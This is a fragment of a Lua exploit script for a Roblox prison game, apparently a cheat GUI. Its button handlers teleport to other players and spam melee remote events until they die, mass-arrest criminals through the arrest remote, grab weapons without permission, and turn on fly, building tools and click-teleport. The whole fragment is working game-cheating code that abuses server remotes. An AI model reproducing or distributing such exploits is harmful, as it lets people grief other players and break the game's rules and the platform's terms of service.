- for i,v in pairs(game.Players:GetChildren()) do
- if v.Name ~= game.Players.LocalPlayer.Name then
- if not v.Character:FindFirstChild("ForceField") then
- local playerName = v.Name
- local PlayerToKill = game.Players:FindFirstChild(playerName)
- repeat
- if Player.Character.Humanoid.Sit == true then
- Player.Character.Humanoid.Sit = false
- end
- Player.Character.HumanoidRootPart.CFrame = PlayerToKill.Character.HumanoidRootPart.CFrame
- for h = 1,10 do
- game.ReplicatedStorage.meleeEvent:FireServer(PlayerToKill)
- end
- game:GetService("RunService").RenderStepped:wait()
- until PlayerToKill.Character.Humanoid.Health == 0 or v == nil
- Player.Character.HumanoidRootPart.CFrame = prevCFrame
- end
- end
- end
- end)
- ArrestAllB.MouseButton1Down:connect(function()
- wait(0.1)
- local Player = game.Players.LocalPlayer
- local cpos = Player.Character.HumanoidRootPart.CFrame
- for i,v in pairs(game.Teams.Criminals:GetPlayers()) do
- if v.Name ~= Player.Name then
- local i = 10
- repeat
- wait()
- i = i-1
- game.Workspace.Remote.arrest:InvokeServer(v.Character.HumanoidRootPart)
- Player.Character.HumanoidRootPart.CFrame = v.Character.HumanoidRootPart.CFrame * CFrame.new(0, 0, 1)
- until i == 0
- end
- end
- end)
- WepB.MouseButton1Down:connect(function()
- wait(0.1)
- local Weapon = {"AK-47"}
- for i,v in pairs(workspace.Prison_ITEMS.giver:GetChildren()) do
- if v.Name == Weapon[1] then
- local lol = workspace.Remote.ItemHandler:InvokeServer(v.ITEMPICKUP)
- end
- end
- local Weapon = {"Remington 870"}
- for i,v in pairs(workspace.Prison_ITEMS.giver:GetChildren()) do
- if v.Name == Weapon[1] then
- local lol = workspace.Remote.ItemHandler:InvokeServer(v.ITEMPICKUP)
- end
- end
- local Weapon = {"M9"}
- for i,v in pairs(workspace.Prison_ITEMS.giver:GetChildren()) do
- if v.Name == Weapon[1] then
- local lol = workspace.Remote.ItemHandler:InvokeServer(v.ITEMPICKUP)
- end
- end
- end)
- FlyOnB.MouseButton1Down:connect(function()
- wait(0.1)
- Main.FlyingOn.Visible = false
- Main.FlyingOff.Visible = true
- Fly = true
- local mouse=game.Players.LocalPlayer:GetMouse''
- localplayer=game.Players.LocalPlayer
- game.Players.LocalPlayer.Character:WaitForChild("HumanoidRootPart")
- local torso = game.Players.LocalPlayer.Character.HumanoidRootPart
- local speed = 3
- local keys = {a=false,d=false,w=false,s=false}
- local e1
- local e2
- local function start()
- local pos = Instance.new("BodyPosition",torso)
- local gyro = Instance.new("BodyGyro",torso)
- pos.Name="EPIXPOS"
- pos.maxForce = Vector3.new(math.huge, math.huge, math.huge)
- pos.position = torso.Position
- gyro.maxTorque = Vector3.new(9e9, 9e9, 9e9)
- gyro.cframe = torso.CFrame
- repeat
- wait()
- localplayer.Character.Humanoid.PlatformStand=true
- local new=gyro.cframe - gyro.cframe.p + pos.position
- if not keys.w and not keys.s and not keys.a and not keys.d then
- speed = 3
- end
- if keys.w then
- new = new + workspace.CurrentCamera.CoordinateFrame.lookVector * speed
- speed = speed+0.00
- end
- if keys.s then
- new = new - workspace.CurrentCamera.CoordinateFrame.lookVector * speed
- speed = speed+0.00
- end
- if keys.d then
- new = new * CFrame.new(speed,0,0)
- speed = speed+0.00
- end
- if keys.a then
- new = new * CFrame.new(-speed,0,0)
- speed = speed+0.00
- end
- if speed>3 then
- speed = 3
- end
- pos.position=new.p
- if keys.w then
- gyro.cframe = workspace.CurrentCamera.CoordinateFrame*CFrame.Angles(-math.rad(speed*15),0,0)
- elseif keys.s then
- gyro.cframe = workspace.CurrentCamera.CoordinateFrame*CFrame.Angles(math.rad(speed*15),0,0)
- else
- gyro.cframe = workspace.CurrentCamera.CoordinateFrame
- end
- until not Fly
- if gyro then gyro:Destroy() end
- if pos then pos:Destroy() end
- flying = false
- localplayer.Character.Humanoid.PlatformStand = false
- speed = 5
- end
- e1=mouse.KeyDown:connect(function(key)
- if not torso or not torso.Parent then flying=false e1:disconnect() e2:disconnect() return end
- if key=="w" then
- keys.w=true
- elseif key=="s" then
- keys.s=true
- elseif key=="a" then
- keys.a=true
- elseif key=="d" then
- keys.d=true
- end
- end)
- e2=mouse.KeyUp:connect(function(key)
- if key=="w" then
- keys.w=false
- elseif key=="s" then
- keys.s=false
- elseif key=="a" then
- keys.a=false
- elseif key=="d" then
- keys.d=false
- end
- end)
- start()
- end)
- FlyOffB.MouseButton1Down:connect(function()
- wait(0.1)
- Main.FlyingOff.Visible = false
- Main.FlyingOn.Visible = true
- Fly = false
- local mouse=game.Players.LocalPlayer:GetMouse''
- localplayer=game.Players.LocalPlayer
- game.Players.LocalPlayer.Character:WaitForChild("HumanoidRootPart")
- local torso = game.Players.LocalPlayer.Character.HumanoidRootPart
- local speed=0
- local keys={a=false,d=false,w=false,s=false}
- local e1
- local e2
- local function start()
- local pos = Instance.new("BodyPosition",torso)
- local gyro = Instance.new("BodyGyro",torso)
- pos.Name="EPIXPOS"
- pos.maxForce = Vector3.new(math.huge, math.huge, math.huge)
- pos.position = torso.Position
- gyro.maxTorque = Vector3.new(9e9, 9e9, 9e9)
- gyro.cframe = torso.CFrame
- repeat
- wait()
- localplayer.Character.Humanoid.PlatformStand=true
- local new=gyro.cframe - gyro.cframe.p + pos.position
- if not keys.w and not keys.s and not keys.a and not keys.d then
- speed=1
- end
- if keys.w then
- new = new + workspace.CurrentCamera.CoordinateFrame.lookVector * speed
- speed=speed+0.01
- end
- if keys.s then
- new = new - workspace.CurrentCamera.CoordinateFrame.lookVector * speed
- speed=speed+0.01
- end
- if keys.d then
- new = new * CFrame.new(speed,0,0)
- speed=speed+0.01
- end
- if keys.a then
- new = new * CFrame.new(-speed,0,0)
- speed=speed+0.01
- end
- if speed>5 then
- speed=5
- end
- pos.position=new.p
- if keys.w then
- gyro.cframe = workspace.CurrentCamera.CoordinateFrame*CFrame.Angles(-math.rad(speed*15),0,0)
- elseif keys.s then
- gyro.cframe = workspace.CurrentCamera.CoordinateFrame*CFrame.Angles(math.rad(speed*15),0,0)
- else
- gyro.cframe = workspace.CurrentCamera.CoordinateFrame
- end
- until not Fly
- if gyro then gyro:Destroy() end
- if pos then pos:Destroy() end
- flying=false
- localplayer.Character.Humanoid.PlatformStand=false
- speed=0
- end
- e1=mouse.KeyDown:connect(function(key)
- if not torso or not torso.Parent then flying=false e1:disconnect() e2:disconnect() return end
- if key=="w" then
- keys.w=true
- elseif key=="s" then
- keys.s=true
- elseif key=="a" then
- keys.a=true
- elseif key=="d" then
- keys.d=true
- end
- end)
- e2=mouse.KeyUp:connect(function(key)
- if key=="w" then
- keys.w=false
- elseif key=="s" then
- keys.s=false
- elseif key=="a" then
- keys.a=false
- elseif key=="d" then
- keys.d=false
- end
- end)
- start()
- end)
- BtoolsOn.MouseButton1Down:connect(function()
- wait(0.1)
- local tool1 = Instance.new("HopperBin",game.Players.LocalPlayer.Backpack)
- local tool2 = Instance.new("HopperBin",game.Players.LocalPlayer.Backpack)
- local tool3 = Instance.new("HopperBin",game.Players.LocalPlayer.Backpack)
- tool1.BinType = "Clone"
- tool2.BinType = "Hammer"
- tool3.BinType = "Grab"
- end)
- ClickTPOnB.MouseButton1Down:connect(function()
- wait(0.1)
- mouse = game.Players.LocalPlayer:GetMouse()
- tool = Instance.new("Tool")
- tool.RequiresHandle = false
- tool.Name = "Click Teleport"
- tool.Activated:connect(function()
- local pos = mouse.Hit+Vector3.new(0,2.5,0)
- pos = CFrame.new(pos.X,pos.Y,pos.Z)
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = pos
- end)
- tool.Parent = game.Players.LocalPlayer.Backpack
- end)
- --Viianity end
- --Viianity end
- --Viianity end
- --Viianity end
- --Viianity end
- --Viianity end
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